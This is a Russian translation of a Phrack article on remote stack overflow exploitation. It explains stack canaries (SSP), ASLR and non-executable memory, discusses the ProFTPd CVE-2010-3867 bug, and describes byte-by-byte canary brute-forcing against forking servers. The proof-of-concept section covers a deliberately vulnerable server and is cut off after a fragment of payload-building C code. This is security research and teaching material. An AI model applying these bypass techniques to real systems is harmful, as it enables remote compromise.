R0 CREW

Scraps of notes on remote stack overflow exploitation

Перевод: @Rain
Источник: phrack.org

— [ Содержание ]

  1. Введение
  2. Техники противодействия эксплуатации
  3. Проблема печенек стэка
    1. История защиты печенек
    2. Канареечная безопасность
    3. Удаленное эксплуатирование канареек
  4. Несколько слов о других защитах
  5. Взлом PoC
  6. Заключение
  7. Ссылки
  8. Приложение - PoC
    1. Сервер (s.c)
    2. Эксплоит (moj.c)

— [ 1. Введение ]

Прежде чем начнется основная тема данной статьи я хотел бы сказать, что работа описывает несколько маленьких техник, основанных на небольших наблюдениях касательно стандарта POSIX. Это наблюдение открывает маленькую дверь для нас в использовании смеси из хорошо известных техник обхода современных механизмов/систем безопасности.

В наши дни нахождение ошибки переполнения стэка не сулит удачной атаки на систему. Бум! Нынче это намного сложнее, почти невозможно совершить удаленную атаку. Это следствие применения новых заплаток безопасности, которые сильно увеличивают сложность эксплуатации ошибок. У нас есть действительно впечатляющее количество различного рода заплаток, которые защищают от атак в разных слоях и используют различные идеи. Давайте посмотрим на самые популярные и наиболее часто используемые в современных *NIX системах.

– [ 2. Техники противодействия эксплуатации ]

  • AAAS (ASCII Armored Address Space) - очень интересная задумка. Идея состоит в загрузке библиотек (и в целом любых ET_DYN объектов) в первые 16 мегабайт адресного пространства. В результате, весь код и данные этих общих библиотек размещены по адресам начинающимся с NULL-байта. Это естественным образом пресекает эксплуатацию определенного набора ошибок переполнения, в которых неуместное использование NULL-байта влечет за собой разрушение (например функции strcpy() и подобные ситуации). Такая защита в действительности не эффективна против ситуаций, где NULL-байт не является проблемой или когда адрес возврата, использованная атакующим, не содержит NULL-байт (как PLT на Linux/*BSD x86 системах). Такая защита используется в дистрибутивах Fedora.

  • ESP (Executable Space Protection). Идея данного механизма защиты очень старая и простая. Традиционно, переполнения эксплуатируются с помощью shell-кодов, что означает исполнение подставленного пользователем “кода” в области “данных”. Такая необычная ситуация легко смягчается предохранением секции данных (стэк, куча, .data, пр.) и, особенно (если возможно), всей доступной для записи памяти процесса от исполнения. Однако и это не может защитить от вызова атакующим такого уже загруженного кода, как библиотеки и функции программ. Это ведет к классическому семейству атак return-into-libc. В наше время все PAE или 64-битные x86 linux ядра поддерживают это поумолчанию.

  • ASLR (Address Space Layout Randomization). Идея ASLR состоит в загрузке по случайным адресам таких областей памяти, как стэк и куча программы, или ее библиотеки. В результате даже если атакующий переписывает метаданные и может изменить ход программы, он не знает где находятся следующие инструкции (shell-код, библиотечные функции). Идея проста и эффективна. ASLR включен по-умолчанию в linux ядрах с 2.6.12.

  • Стэковые канарейки (Канарейки смерти). В отличие от вышеописанных техник, базирующихся в ядре, это механизм компитора. Когда вызывается функция, код, вставленный компилятором в ее пролог, сохраняет специальное значение (так называемое “печенье”) в стэке передметаданными. Это значение является своего рода защитником чувствительных данных. Во время эпилога значение в стэке сравнивается с оригиналом, и, если они не совпадают, возникает нарушение целостности памяти. Тогда программа убивается и отчет по данной ситуации попадает в системный журнал. Детали по технической реализации и маленькая гонка вооружений между защитами и обходами защит в этой области будут приведены далее.

– [ 3. Проблема печенек стэка ]

– [ 3.1. История защиты печенек ]

Были / есть много реализаций этого. Некоторые из них лучше, в то время, как другие - хуже. Лучшая реализация это определенно SSP (Stack Smashing Protector), также известная как ProPolice. Это и есть наша тема и она была включена в gcc начиная с версии 4.x.

Как эти канарейки работают? Во время создания стэкового кадра, добавляется так называемая канарейка. Это - случайное число. Когда взломщик возбуждает ошибку переполнения стэка, до перезаписи метаданных хранимых в стэке, ему приходится затирать канарейку. Когда вызывается эпилог (который удаляет кадр стэка) оригинальное значение канарейки (хранимый в TLS, указываемый через gs селектор сегмента на x86) сравнивается со значением в стэке. Если эти значения разные, то SSP пишет сообщение об атаке в системном журнале и завершает программу.

Когда программа скомпилирована с SSP, стэк настраивается следующим образом:

|             ...             |
-------------------------------
|    N - аргумент функции     |
-------------------------------
|   N -1 - аргумент функции   |
-------------------------------
|             ...             |
-------------------------------
|    2 - аргумент функции     |
-------------------------------
|    1 - аргумент функции     |
-------------------------------
|       Адрес возврата        |
-------------------------------
|       Указатель кадра       |
-------------------------------
|             xxx             |
-------------------------------
|          Канарейка          |
-------------------------------
|     Локальные переменные    |
-------------------------------
|             ...             |

Что это за значение ‘xxx’? Так… Очень часто gcc добавляет отступ для выравнивания стэка. В компиляторах версий 3.3.x и 3.4.x это обычно 20 байт. Это предотвращает эксплуатацию ошибок off-by-one. Эта статья не посвящена решению данной проблемы, но мы должны быть осведомлены об этом тоже.

Проблема переупорядочения

Bulba и Kil3r опубликовали технику в их статье в phrack [1] о том, как обойти эту защиту безопасности, если локальные переменные имеют примерно такой вид:

int func(char *arg) {

   char *ptr;
   char buf[MAX];

   ...

   memcpy(buf,arg,strlen(arg));

   ...

   strcpy(ptr,arg);

   ...
}

В данном случае нам не нужно перезаписывать значение канарейки. Мы можем просто затереть указатель ptr адресом возврата. Так как он используется как указатель места назначения копии памяти, то мы можем установить что захотим и где захотим (вместе с адресом возврата) не затрагивая канарейку:

        |             ...             |
        -------------------------------
        |    arg - аргумент функции   |
        -------------------------------
  ----> |       Адрес  возврата       |
  |     -------------------------------
  |     |       Указатель кадра       |
  |     -------------------------------
  |     |             xxx             |
  |     -------------------------------
  |     |          Канарейка          |
  |     -------------------------------
  ----  |           char *ptr         |
        -------------------------------
        |        char buf[MAX-1]      |
        -------------------------------
        |        char buf[MAX-2]      |
        -------------------------------
        |             ...             |
        -------------------------------
        |          char buf[0]        |
        -------------------------------
        |             ...             |

В таких ситуациях, если атакующий может напрямую (или ненапрямую) изменить указатель, и канарейки смерти могут не сработать!

На деле SSP намного более сложен и продвинут, чем остальные реализации канареек смерти (например, StackGuard). И действительно SSP также использует эвристику для упорядочения локальных переменных в стэке.

Например, представьте себе следующую функцию:

int func(char *arg1, char *arg2) {

   int a;
   int *b;
   char c[10];
   char d[3];

   memcpy(c,arg1,strlen(arg1));
   *b = 5;
   memcpy(d,arg2,strlen(arg2));
   return *b;
}

В теории стэк должен выглядеть примерно так:

(d[..]) (c[..]) (*b) (a) (...) (FP) (IP)

Но SSP изменяет порядок следования локальных переменных и стэк будет на самом деле выглядеть как-то так:

(*b) (a) (d[..]) (c[..]) (...) (FP) (IP)

Конечно SSP всегда добавляет канарейку. Сейчас стэк выглядит реально плохо с точки зрения атакующего:

|             ...             |
-------------------------------
|   arg1 - аргумент функции   |
-------------------------------
|   arg2 - аргумент функции   |
-------------------------------
|       Адрес  возврата       |
-------------------------------
|       Указатель кадра       |
-------------------------------
|             xxx             |
-------------------------------
|          Канарейка          |
-------------------------------
|           char c[..]        |
-------------------------------
|           char d[..]        |
-------------------------------
|            int a            |
-------------------------------
|            int *b           |
-------------------------------
|          Копия arg1         |
-------------------------------
|          Копия arg2         |
-------------------------------
|             ...             |

SSP всегда пытается разместить все буферы рядом с канарейкой, а указатели - как можно дальше от буферов. Аргументы функций также копируются в специальное место в стэке так, что оригинальные аргументы никогда не используются.

С таким переупорядочением шансы перезаписать какие-либо указатели для изменения контрольного потока малы. Кажется, что у атакующего нет другого выбора, кроме банального брутфорса, для использования ошибок переполнения стэка. Не так ли? :slight_smile:

Ограничения SSP

Но даже SSP не идеален. Есть несколько ‘особых’ случаев когда SSP не может создать ‘безопасный кадр’. Вот несколько таких известных случаев:

  • SSP НЕ защищает каждый буфер по отдельности. Когда данные в стэке переупорядочены безопасным путем мы все еще можем перезаписать один буфер другим. Если буферов много, все они будут размещены близко друг к другу. Мы можем представить себе ситуацию, когда буфер, размещенный перед другим буфером, может перезаписать последний. Если в переполненном буфере находились данные, управляющие потоком приложения, то дверь открыта и, в зависимости от самого приложения, оно может быть эксплуатировано.
  • Если у нас есть структуры или классы, то SSP НЕ переупорядочит аргументы внутри этой области данных.
  • Если функция принимает переменное количество аргументов (как *printf()), то SSP не будет знать сколько аргументов ожидать. В этом случае у компилятора не будет возможности скопировать аргументы в безопасное место.
  • Если программа использует функцию alloc() или расширяет стандартные для языка C способы создания динамических массивов (char tab[size+5]), SSP разместит все эти данные на вершине кадра. Заинтересованным в динамических массивах следует прочитать статью от andrewg в phrack [13].
  • В большинстве случаев, когда приложение играет с виртуальными функциями в C++, сложно создать ‘безопасный кадр’ - более подробная информация приведена в приложении [2].
    • В некоторых дистрибутивах (как Ubuntu 10.04) канарейка замаскирована значением 0x00FFFFFF. NULL-байт всегда будет присутствовать там.
    • В StackGuard v2.0.1 всегда статическая канарейка 0x000AFF0D. Эти байты не выбираются случайно. Байт 0x00 служит для завершения строчных аргу ментов. Байт 0x0A - ‘новая строка’ и он может остановить чтение байтов такими функциями, как *gets(). Байты 0xFF и 0x0D (’\r’) тоже иногда могут остановить копирование процесса. Если вы проверите значение канарейки-убийцы, сгенерированной SSP на не system-V, то вы обнаружите почти то же самое. StackGuard также добавляет байт ‘\r’ (0x0D), а SSP этот байт не добавляет.

– [ 3.2 - Канареечная безопасность ]

Начиная с gcc версии 4.1 stage2 [6], [7] Stack Smashing Protector поставляется по-умолчанию. Разработчики gcc переписали IBM Pro Police Stack Detector. Давайте рассмотрим под лупой эту реализацию. Нам необходимо установить:

  • Действительно ли значение канарейки случайное
  • Можно ли разузнать адрес канарейки

Защита времени выполнения

Если мы посмотрим вовнутрь функции, мы можем найти следующий код, добавленный SSP в эпилог:

0x0804841c <main+40>:   mov    -0x8(%ebp),%edx
0x0804841f <main+43>:   xor    %gs:0x14,%edx
0x08048426 <main+50>:   je     0x804842d <main+57>
0x08048428 <main+52>:   call   0x8048330 <__stack_chk_fail@plt>

Этот код берет локальное значение канарейки из стэка и сравнивает его с оригиналом, хранимым в TLS. Если значения не совпадают, то функция __stack_chk_fail() получает управление.

Реализацию данной функции можно найти в коде GNU C Library в файле “debug/stack_chk_fail.c”

#include <stdio.h>
#include <stdlib.h>

extern char **__libc_argv attribute_hidden;

void
__attribute__ ((noreturn))
__stack_chk_fail (void)
{
  __fortify_fail ("stack smashing detected");
}

Важно то, что данная функция имеет атрибут “noreturn”. Это означает, что она никогда не возвращает управление. Посмотрим глубже и увидим как. Определение функции __fortify_fail() можно найти в файле “debug/fortify_fail.c”

#include <stdio.h>
#include <stdlib.h>

extern char **__libc_argv attribute_hidden;

void
__attribute__ ((noreturn))
__fortify_fail (msg)
     const char *msg;
{
  /* The loop is added only to keep gcc happy.  */
  while (1)
    __libc_message (2, "*** %s ***: %s terminated\n",
                    msg, __libc_argv[0] ?: "<unknown>");
}
libc_hidden_def (__fortify_fail)

Так __fortify_fail() является оберткой функции __libc_message(), которая, в свою очередь, вызывает abort(). И это уж точно не обойти.

Инициализация

Давайте посмотрим на код динамического компоновщика времени выполнения в “etc/rtld.c”. Инициализация канарейки осуществляется функцией security_init(), которая вызывается когда RTLD загружен (до этого TLS был проинициализирован функцией init_tls()):

static void
security_init (void)
{
  /* Set up the stack checker's canary.  */
  uintptr_t stack_chk_guard = _dl_setup_stack_chk_guard ();
#ifdef THREAD_SET_STACK_GUARD
  THREAD_SET_STACK_GUARD (stack_chk_guard);
#else
  __stack_chk_guard = stack_chk_guard;
#endif

      [...] // pointer guard stuff
}

Значение канарейки создается функцией _dl_setup_stack_chk_guard(). В оригинальной реализации, опубликованной IBM, это была функция __guard_setup.

В зависимости от операционной системы, функция _dl_setup_stack_chk_guard() определяется либо в файле “sysdeps/unix/sysv/linux/dl-osinfo.h”, либо в “sysdeps/generic/dl-osinfo.h”

Если мы посмотрим на определение функции для UNIX System V, то увидим:

static inline uintptr_t __attribute__ ((always_inline))
_dl_setup_stack_chk_guard (void)
{
  uintptr_t ret;
#ifdef ENABLE_STACKGUARD_RANDOMIZE
  int fd = __open ("/dev/urandom", O_RDONLY);
  if (fd >= 0)
    {
      ssize_t reslen = __read (fd, &ret, sizeof (ret));
      __close (fd);
      if (reslen == (ssize_t) sizeof (ret))
        return ret;
    }
#endif
  ret = 0;
  unsigned char *p = (unsigned char *) &ret;
  p[sizeof (ret) - 1] = 255;
  p[sizeof (ret) - 2] = '\n';
  return ret;
}

Если макрос ENABLE_STACKGUARD_RANDOMIZE включен, то функция откроет устройство “/dev/urandom”, прочитает байты sizeof(uintptr_t) и вернет их. Иначе, если операция не увенчалась успехом, канарейка-убийца генерируется: сначала кладется значение 0x00 в переменную. Потом меняются последние два байта в значения 0xFF и 0xa. В конце концов, канарейка-убийца будет всегда равна 0x00000aff.

Если мы сейчас посмотрим на определение функции _dl_setup_stack_chk_guard() для других операционных систем, то увидим:

#include <stdint.h>

static inline uintptr_t __attribute__ ((always_inline))
_dl_setup_stack_chk_guard (void)
{
  uintptr_t ret = 0;
  unsigned char *p = (unsigned char *) &ret;
  p[sizeof (ret) - 1] = 255;
  p[sizeof (ret) - 2] = '\n';
  p[0] = 0;
  return ret;
}

Таким образом, эта функция всегда генерирует значение канарейки-убийцы.

Заключение

Или значение канарейки случайно и непредсказуемо (полагая, что /dev/urandom безопасен. Допустим), или значение - константа и это слабость (слабее, чем stackguard), но, тем не менее, доставит проблем в некоторых ситуациях.

Хранилище этого значения зависит от TLS, который сам не находится в одном месте (и виртуальный адрес нельзя разузнать благодаря трюку с селектором сегмента), и это означает, что наврядли получится узнать где он.

– [ 3.3 - Удаленное эксплуатирование канареек ]

Обычно сетевые демоны создают новую нить вызовом clone() или новый процесс вызовом fork() для поддержки нового соединения. В случае с fork() и в зависимости от демона, процесс-потомок может или не может вызвать execve(), что сводится к двум вариантам:

  1. без execve()
            [родитель]
  --------> accept()
  |            |
  |            | <- новое соединение
  |            |
  |          fork()
  |          |    |
  | родитель |    | потомок
  -----------|    |
                  |
                read()
                  |
                 ...
                 ...
  1. с execve()
            [родитель]
  --------> accept()
  |            |
  |            | <- новое соединение
  |            |
  |          fork()
  |          |    |
  | родитель |    | потомок
  -----------|    |
                  |
               execve()
                  |
                  |
                read()
                  |
                 ...
                 ...

Заметка 1: OpenSSH является хорошим примером второго варианта.
Заметка 2: Конечно, есть также вероятность того, что сервер использует select() вместо accept(). В этом случае, конечно же, нету fork().

Как заявлено на странице man:

  • Cистемный вызов fork() создает дубликат вызывающего процесса, что означает, что родитель и потомок имеют одну и ту же канарейку, будто бы это одна-канарейка-на-один-процесс, а не отдельная-канарейка-на-каждую-функцию. Это занятное свойство, так как с каждой попыткой мы могли бы угадать часть канарейки и, затем, имея конечное число отгадок мы имели бы успех.
  • Когда вызывается execve() “text, data, bss, и стэк вызывающего процесса перезаписываются таковыми загруженной программы.” Это подразумевает, что у потомков будут разные канарейки. В итоге, возможность отгадывать кусочки от канарейки потомка бесполезна (кажется), так как это будет приводить к крушению и никакой результат невозможно будет применить к другому потомку.

Рассматривая 32-битную архитектуру, количество возможных канареек идет к 2^32 (2^24 на Ubuntu) -около 4 миллиардов (и, соответственно, 16 миллионов) что невозможно удаленно проверить, но локально вполне реально.

И что делать? Ben Hawkes [9] предложил интересный метод: тупой перебор паролей по технике байт-за-байтом, что гораздо более эффективно. Когда мы можем использовать это? Как мы упоминали, канарейка не меняется для fork(), но меняется с execve(). В результате, для отгадывания байта за байтом требуется, чтобы после вызова fork() не следовал вызов execve().

Здесь показан стэк уязвимой функции:

| ..P.. | ..P.. | ..P.. | ..P.. | ..C.. | ..C.. | ..C.. | ..C.. |

P - 1 байт буфера
C - 1 байт канарейки[/CODE]

Сначала, перезаписываем первый байт канарейки и проверяем когда программа завершается с ошибкой, а когда - нет. Есть несколько способов для этого. Hawkes предложил измерять время отклика программы: при получении неправильного байта канарейки, программа немедленно завершается. А когда байт подобран правильно, программа продолжает работу, поэтому время завершения в этом случае длиннее. Нам не обязательно использовать эту технику. Часто происходит так, что после вызова функции, сервер (демон) возвращает нам ответы как результат операции. Все, что нам надо сделать - проверить получены ли сокетом ожидаемые данные. Если это ожидаемые данные, значит мы отгадали правильный байт канарейки и можем перейти к следующему байту.

Так как 1 байт может иметь 256 разных значений, все сводится к исчислению. Зная первый байт значения, нам нужно отгадать 256 разных вероятностей для каждого из последующих байтов. Значит, вся печенька может быть отгадана за 4*256 = 1024 комбинаций, что довольно сносно для перебора.

Здесь чертеж 4-ех шагов (каждый начинается с отгадки определенного байта):

Первый байт:
| ..P.. | ..P.. | ..P.. | ..P.. | ..X.. | ..C.. | ..C.. | ..C.. |

Второй байт:
| ..P.. | ..P.. | ..P.. | ..P.. | ..X.. | ..Y.. | ..C.. | ..C.. |

Третий байт:
| ..P.. | ..P.. | ..P.. | ..P.. | ..X.. | ..Y.. | ..Z.. | ..C.. |

Четвертый байт:
| ..P.. | ..P.. | ..P.. | ..P.. | ..X.. | ..Y.. | ..Z.. | ..A.. |

Когда атака завершена, мы уже знаем что значение канарейки равно XYZA. С таким знанием мы можем продолжить атаку на приложение. Перезаписывая данные мы кладем значение канарейки на место канарейки. А так как канарейка перезаписана оригинальным ее значением, то искажение памяти остается незамеченным.

Нет более простого способа нахождения месторасположения канарейки, как простая проверка. Если мы знаем, что можем перезаписать первые 100 байтов буфера, то отправляем поддельный пакет длинной в 101 байт и проверяем ответ тем же путем, как делали во время обсуждения теории взлома значения канарейки. Если программа НЕ рухнула, значит мы перезаписали что-то другое, но, с большой долей вероятности, не канарейку (либо перезаписали первый байт канарейки правильным значением). Продолжая увеличивать количество перезаписанных байтов, программа должна наконец рухнуть, давая нам знать, где начинается значение канарейки.

Смягчение

Когда это техника не работает? Мы не можем каждый раз полностью контролировать перезаписанные байты. Например, мы не в состоянии контролировать последний символ нашего буфера или можем иметь дело с фильтрацией (если за рамками буфера NULL-байты запрещены).

Хорошим примером такой ситуации является последния ошибка pre-auth ProFTPd (CVE-2010-3867), найденная TJ Saunders. Ошибка всплывает при разборе символов TELNET_IAC из-за ошибочного вычисления конца читающего цикла. Давайте рассмотрим эту ошибку поближе.

Проблема находится в функции pr_netio_telnet_gets() из файла “src/netio.c”:

char *pr_netio_telnet_gets(char *buf, size_t buflen,
    pr_netio_stream_t *in_nstrm, pr_netio_stream_t *out_nstrm) {
  char *bp = buf;

...

[L1]  while (buflen) {

...

      toread = pr_netio_read(in_nstrm, pbuf->buf,
      (buflen < pbuf->buflen ?  buflen : pbuf->buflen), 1);
...

[L2]    while (buflen && toread > 0 && *pbuf->current != '\n'
        && toread--) {
...
          if (handle_iac == TRUE) {
            switch (telnet_mode) {
              case TELNET_IAC:
                switch (cp) {

...
...

                  default:

...

                    *bp++ = TELNET_IAC;
[L3]                  buflen--;

                    telnet_mode = 0;
                    break;
                }
...
            }
          }

            *bp++ = cp;
[L4]        buflen--;
        }
...
...
        *bp = '\0';
        return buf;
      }
  }

Цикл [L2] читает и разбирает байты. Каждый раз он уменьшает buflen [L4]. Когда доходит до символа TELNET_IAC (0xFF) возникает проблема. Когда этот символ приходит на разбор, buflen уменьшается [L3]. И в данной ситуации, buflen уменьшается на 2, что прекрасно подходит для обхода неподходящей проверки [L1]. Действительно, когда buflen == 1 если символ в разборе это TELNET_IAC, то buflen = 1 - 2 = -1. В итоге, условие "while (buflen && " цикла [L1] выполняется и копирование идет (пока не найден символ ‘\n’).

Функция pr_netio_telnet_gets() вызывается функцией pr_cmd_read() из файла “src/main.c”:

int pr_cmd_read(cmd_rec **res) {
  static long cmd_bufsz = -1;
  char buf[PR_DEFAULT_CMD_BUFSZ+1] = {'\0'};

...

  while (TRUE) {

...

    if (pr_netio_telnet_gets(buf, sizeof(buf)-1, session.c->instrm,
        session.c->outstrm) == NULL) {

...

  }

...
...

  return 0;
}

В этом случае, аргументом уязвимой функции будет локальный буфер в стэке. Так что это классическая ошибка переполнения буфера. В теории все условия для обхода канарейки pro-police с использованием техники байт-за-байтом выполнены. Но если мы внимательнее посмотрим на уязвимую функцию, то увидим такой код:

*bp = '\0';

… что ломает нам идею использования атаки байт-за-байтом. Потому, что мы никогда не сможем контролировать последний перезаписанный байт, всегда равный 0x00. Можем контролировать только предпоследний.

К тому же, метод ‘байт-за-байтом’ требует, чтобы потомки имели ту же самую канарейку. Это невозможно если потомки вызывают функцию execve(), как было объяснено ранее. В подобной ситуации, атака тупым перебором наврядли будет успешной. Конечно мы можем пытаться отгадывать по 3 байта за раз если у нас есть много времени… но это будет означать обычную атаку после многократного преумножения сложности каждой попытки и займет это все слишком много времени.

Наконец, grsecurity предоставляет интересную фичу безопасности для предотвращения такого типа эксплуатации. Учитывая факт, что брутфорс обязательно приводит к краху потомков, то что потомок погибает от SIGILL (например, будто бы PaX убил его) очень подозрительно. И получается, что во время do_coredump() ядро устанавливает флаг в родительском процессе при помощи функции gr_handle_brute_attach(). Следующая попытка ответвления родителя будет с задержкой. Именно в do_fork() задача ставится в положение TASK_UNINTERRUPTIBLE и “укладывается спать” на 30 секунд (как минимум).

+void gr_handle_brute_attach(struct task_struct *p)
+{
+#ifdef CONFIG_GRKERNSEC_BRUTE
+	read_lock(&tasklist_lock);
+	read_lock(&grsec_exec_file_lock);
+	if (p->p_pptr && p->p_pptr->exec_file == p->exec_file)
+		p->p_pptr->brute = 1;
+	read_unlock(&grsec_exec_file_lock);
+	read_unlock(&tasklist_lock);
+#endif
+	return;
+}
+
+void gr_handle_brute_check(void)
+{
+#ifdef CONFIG_GRKERNSEC_BRUTE
+	if (current->brute) {
+		set_current_state(TASK_UNINTERRUPTIBLE);
+		schedule_timeout(30 * HZ);
+	}	
+#endif
+	return;
+}

Хоть и этот механизм имеет свои недостатки (SIGILL единственный сигнал для задержки), все же он доказывает свою эффективность в замедлении атакующего.

– [ 4 - Несколько слов о других защитах ]

Когда демон ответвляется без вызова execve() мы можем обойти SSP, так как мы можем найти “случайное” значение канарейки, но нам все еще придется иметь дело с неисполняемой памятью и ASLR.

Защита исполняемого пространства

Пост Solar Designer’а в список рассылок bugtraq 10 августа 1997 обозначил атаку ret-into-libc, которая позволяет обходить ограничения неисполняемой памяти [11]. Позже эта техника была усовершенствована nergal в его статье phrack [10], в которой он ввел в обиход много новых и хорошо известных в настоящее время концепций, используемых до сих пор:

  • Chaining. Последовательный вызов нескольких функций. [10] описывает нужную схему стэка для исполнения такого трюка на x86. Концепция была позже улучшена для остальных архитектур и были представлены “гаджеты” (ROP).
  • Использование mprotect() было введено как контрмера против PaX и до сих пор эффективно на некоторых системах (но не против самого PaX, однако).
  • dl-resolve() позволяет вызывать функции разделяемой библиотеки даже если они не имеют входа в PLT.

Да, мы знаем техники, которые нам следует использовать для обхода неисполняемой памяти и все же у нас несколько проблем. Мы не знаем адрес функции, которую следует вызвать (обычно, подобная system()) и адрес аргумента(-ов) для этой функции.

На этот раз у атакующего могут быть три решения:

  • Можно испробовать тупой перебор. Очевидно, и не раз было заявлено, следует перебирать только жизненно необходимое, чем обычно является смещение, с которой можно установить недостающий адрес. Немного устаревшая, но интересная информация о том, как такое провести приведена в [12].
  • Находите способ обеспечения утечки инфы. В зависимости от ситуации это может быть довольно сложно (хоть и не всегда) особенно на современных системах, где демоны часто скомпилированы как PIE-бинарники. Пример, на свежем Ubuntu, по-дефолту большинство демонов - PIE-бины. Из-за чего больше невозможно использовать фиксированные адреса в коде/сегменте_данных программы.
  • Можете эксплуатировать схему памяти для нахождения способа уменьшить количество отгадываемых параметров. В зависимости от контекста, может быть обязательным глубокое изучение программы.

Важно запомнить, что нету одной общей техники; умная эксплуатация ошибок сильно зависит от контекста, индуцированного самой программой. Это особенно справедливо для современных средств защиты памяти.

ASLR: Использование преимуществ fork()

Как было объяснено ранее, адресное пространство процесса-потомка является копией родительского. Впрочем, это больше не вариант, если потомок вызывает execve(), так как тогда процесс полностью перезагружается и адресное пространство совершенно непредсказуемо из-за ASLR.

С математической точки зрения, отгадывание адреса - это:

  • выборка без замены (в случае с fork())
  • выборка с заменой (случай, когда вслед за fork() идет execve())

В случае с сетевыми PIE-демонами, есть как минимум два отчетливых источника энтропии:

  • печенька: 24 бита или 32 бита на 32-битной ОС
  • ASLR: 16 битов для рандомизации mmap() с PaX (в случае PAGEEXEC) на 32-битной ОС

(Последнее утверждение доказывается следующей выдержкой из заплатки)

+#ifdef CONFIG_PAX_ASLR
+ if (current->mm->pax_flags & MF_PAX_RANDMMAP) {
+   current->mm->delta_mmap = (pax_get_random_long() & ((1UL << PAX_DELTA_MMAP_LEN)-1)) << PAGE_SHIFT;
+   current->mm->delta_stack = (pax_get_random_long() & ((1UL << PAX_DELTA_STACK_LEN)-1)) << PAGE_SHIFT;
+ }
+#endif

+#define PAX_DELTA_MMAP_LEN	(current->mm->pax_flags & MF_PAX_SEGMEXEC ? 15 : 16)
+#define PAX_DELTA_STACK_LEN	(current->mm->pax_flags & MF_PAX_SEGMEXEC ? 15 : 16)

Заметка: рандомизация ET_DYN-объекта выполняется со смещением delta_mmap. Мы увидим в главе 5, что нам необходимо угадать этот параметр.

Сейчас, основная идея без execve() то, что ожидаемое количество попыток выполнить атаку это сумма из попыток отгадать канарейку и попыток угадать схему расположения памяти. С execve() - это их произведение.

Пример: Эксплуатация ошибки proftpd на Ubuntu 10.04 + PaX с:

  • нет byte-by-byte (байт-за-байтом)
  • нету execve()
  • печенька содержит NULL-байт
  • демон скомпилирован как PIE-бинарник

Это должно потребовать в среднем 2^24 + 2^16 попыток (если бинарник PIE). С точки зрения сложности, можем сказать, что отгадывание обоих значений так же сложно, как и отгадывание печеньки.

Заметка: Горящее обновление. Кажется, что proftpd не скомпилирован как PIE-бинарник в наиболее распространенных дистрибутивах/Unix (а значит, есть много целей для эксплуатации).

– [ 5. Взлом PoC ]

В качестве проверки этой писанины давайте изучим и эксплуатируем пример уязвимого сервера (завершенный код в приложении). В следующей функции было сэмулировано тривиальное переполнение стэка:

int vuln_func(char *args, int fd, int ile) {

  char buf[100];
  memset(buf, 0, sizeof buf);

  if ( (strncmp(args,"vuln",4)) == 0) {                     [L1]
#ifdef __DEBUG
      stack_dump("BEFORE", buf);                            [L2]
#endif
      write(fd,"Vuln running...\nCopying bytes...",32);
      memcpy(buf,args+5,ile-5);                             [L3]
#ifdef __DEBUG
      stack_dump("AFTER", buf);                             [L4]
#endif
      write(fd,"\nDONE\nReturn to the main loop\n",30);     [L5]
      return 1;
  }

  else if ( (strncmp(args,"quit",4)) == 0) {
      write(fd,"Exiting...\n",11);
      return 0;
  }

  else {
      write(fd,"help:\n",6);
      write(fd," [*] vuln <args>\n",17);
      write(fd," [*] help\n",10);
      write(fd," [*] quit\n",10);
      return 1;
  }
}

Давайте немного исследуем эту функцию:

  • Ошибка вылетает когда атакующий обеспечивает “vuln XXXXX” достаточно большим количеством “XXXXX” (> 100 байт). [L1, L3]
  • Атакующий может свободно контролировать свою полезную нагрузку без ограничений (нет фильтрации нагрузки, нет ограничений переполнения)
  • Когда переполнение имеет место, мы возможно перезаписали кое-какие локальные переменные, что может вызвать ошибку [L5] и, возможно, обрушит всю программу.

Заметка: Из-за fork(), отладка может быть утомительной. Поэтому я добавил функцию для записи схемы расположения стэка в файл как до, так и после переполнения.

Программа скомпилирована с опциями -fstack-protector-all и -fpie -pie, что заставит нас эксплуатировать программу с:

  • Non exec + полный ASLR (сегменты кода/данных также рандомизированы)
  • Стэковая канарейка
  • Ascii armored protection

В зависимости от Unix-цели, некоторые из этих защит могут или не могут быть эффективны. Тем не менее, мы будем считать, что они все активированы.

Использование преимуществ fork()

Первым шагом в эксплуатации, очевидно, является отгадывание стэковой печеньки. Как сказано ранее, fork() обеспечит нас потомками с одинаковыми адресными пространствами. И мы сможем отгадывать печеньки с помощью техники, описанной в 3.3, которая позволяет произвольно перезаписывать что угодно (конечно, включая сохраненный EIP).

На втором шаге, нам нужно найти адрес, по которому вернемся. Один из лучших решений - вернуться в функцию сегмента .text, что сгенерирует некоторую сетевую активность. Однако, сервер является PIE-бинарником, то есть, является объектом ET_DYN ELF. А это значит, что адрес этой функции тоже должен быть отгадан.

Предполагая, что у нас есть оригинальный бинарник (ну, допустим), смещение функции нам известна, а значит необходимо только пробрутфорсить адрес загрузки ELF-объекта. Исходя из того, что такой адрес выровнен с учетом PAGE_SIZE, на 32-битной архитектуре все 12 наименее значимых битов являются нулями.

Для примера рассмотрим следующий код:

  10be:       e8 fc ff ff ff          call   10bf <main+0x2f3>
  10c3:       c7 44 24 08 44 00 00    movl   $0x44,0x8(%esp)
    ^^--------------------- Значение последнего байта. Совсем не случаен
   ^----------------------- Последняя половина значения. Нижний полубайт не рандомизирован

В дополнение используется защита Ascii Armour, наиболее значимый байт адреса будет установлен в 0x00 (а такого не бывает под PaX).

Заключение такое: тупого перебора требуется так мало, что может быть выполнено за парочку секунд/минут через сеть.

Изучение схемы стэка

Благодаря нашей отладочной функции очень легко наблюдать схему стэка, когда крушится программа. Здесь показана схема на Ubuntu 10.04 до переполнения:

bfa38648: 00000000 00000000 00000000 00000000
bfa38658: 00000000 00000000 00000000 00000000
bfa38668: 00000000 00000000 00000000 00000000
bfa38678: 00000000 00000000 00000000 00000000
bfa38688: 00000000 00000000 00000000 00000000
bfa38698: 00000000 00000000 00000000 00000000
bfa386a8: 00000000 8c261700 00000004 005cdff4
bfa386b8: bfa387f8 005cbec1 bfa386f4 00000004
bfa386c8: 0000005f 00000000 00258be0 00257ff4
bfa386d8: 00000000 0000005f 00000003 00000004
bfa386e8: 0000029a 00000010 00000000 6e6c7576

Таким образом, мы можем видеть:

  • Печенье (0x8c261700) находится по адресу 0xbfa386ac.
  • Адрес возврата равен 0x005cbec1
  • Аргументами функции vuln_func() являются (0xbfa386f4, 0x4 and 0x5f)

Это действительно хороший способ использования преимуществ данной ситуации. Если мы решили вернуться в ‘call vuln_func()’, аргументы будут еще раз использованы и функция еще раз отработает, что сгенерирует необходимый сетевой поток для захвата нужного значения базового адреса. Здесь код на C, который готовит нашу полезную нагрузку:

addr_callvuln = P_REL_CALLVULN + (base_addr << 12);

*(buf_addr++) = canary;
*(buf_addr++) = addr_callvuln;  // <-- болванка
*(buf_addr++) = addr_callvuln;  // <-- болванка
